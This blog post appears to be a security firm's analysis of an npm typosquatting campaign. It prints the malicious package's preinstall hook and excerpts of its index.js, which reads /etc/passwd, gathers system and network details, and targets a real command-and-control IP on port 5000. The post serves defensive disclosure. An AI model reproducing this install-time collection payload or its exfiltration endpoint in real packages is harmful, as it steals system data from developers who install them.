npm - The Playground for Malicious Packages

Today our OSS package malware analysis bot picked up a new campaign targeting developers using npm. The campaign involves publishing multiple npm packages that impersonate popular package names. These packages are being used to collect basic system information and the contents of /etc/passwd file from the infected systems.

Our system picked up the following packages with very similar behaviour matching common information gathering techniques:

npm promptly removed these packages from the registry. This was possible because no other package depended on these malicious packages. All packages had a similar payload that was being executed when the package was installed. For example, themes-vendor shipped a package.json file with the following

1
{
2
  "name": "themes-vendor",
3
  "version": "0.0.1",
4
  "description": "",
5
  "main": "index.js",
6
  "scripts": {
7
    "test": "echo \"Error: no test specified\" && exit 1",
8
    "preinstall": "node index.js"
9
  },
10
  "author": "",
11
  "license": "ISC"
12
}

The preinstall script in the package.json file executed the index.js script which in turn executed the following code:

1
const apiHostname = '13.60.183.44';
2
const apiPort = 5000;
3
const apiPath = '/submit';
4

5
// [...]
6
let whoamiInfo = '';
7
try {
8
  // Execute the 'whoami' command and trim the output
9
  whoamiInfo = execSync('cat /etc/passwd', { encoding: 'utf-8' }).trim();
10
} catch (error) {
11
  whoamiInfo = `Error executing whoami: ${error.message}`;
12
}
13

14
// [...]
15
const deviceInfo = {
16
  platform: os.platform(),
17
  release: os.release(),
18
  hostname: os.hostname(),
19
  arch: os.arch(),
20
  userInfo: os.userInfo(),
21
  networkInterfaces: os.networkInterfaces(),
22
  whoamiinfo: whoamiInfo,
23
  user: 'themes-vendor',
24
};

The command and control IP 13.60.183.44 belongs to AWS which along with the nature of the payload suggests that this campaign is a possible red-team or security research activity.

1
NetRange:       13.60.0.0 - 13.63.255.255
2
CIDR:           13.60.0.0/14
3
NetName:        AMAZO-4
4
NetHandle:      NET-13-60-0-0-1
5
Parent:         NET13 (NET-13-0-0-0-0)
6
NetType:        Direct Allocation
7
OriginAS:
8
Organization:   Amazon.com, Inc. (AMAZO-4)
9
RegDate:        2022-10-11
10
Updated:        2022-10-11
11
Ref:            https://rdap.arin.net/registry/ip/13.60.0.0

Conclusion

This campaign appears to be a playground for the attackers or possible red-teamers to test their malware distribution techniques. While the payload does not appear to be sophisticated or damaging, it still highlights the very real threat of malicious packages impersonating popular package names.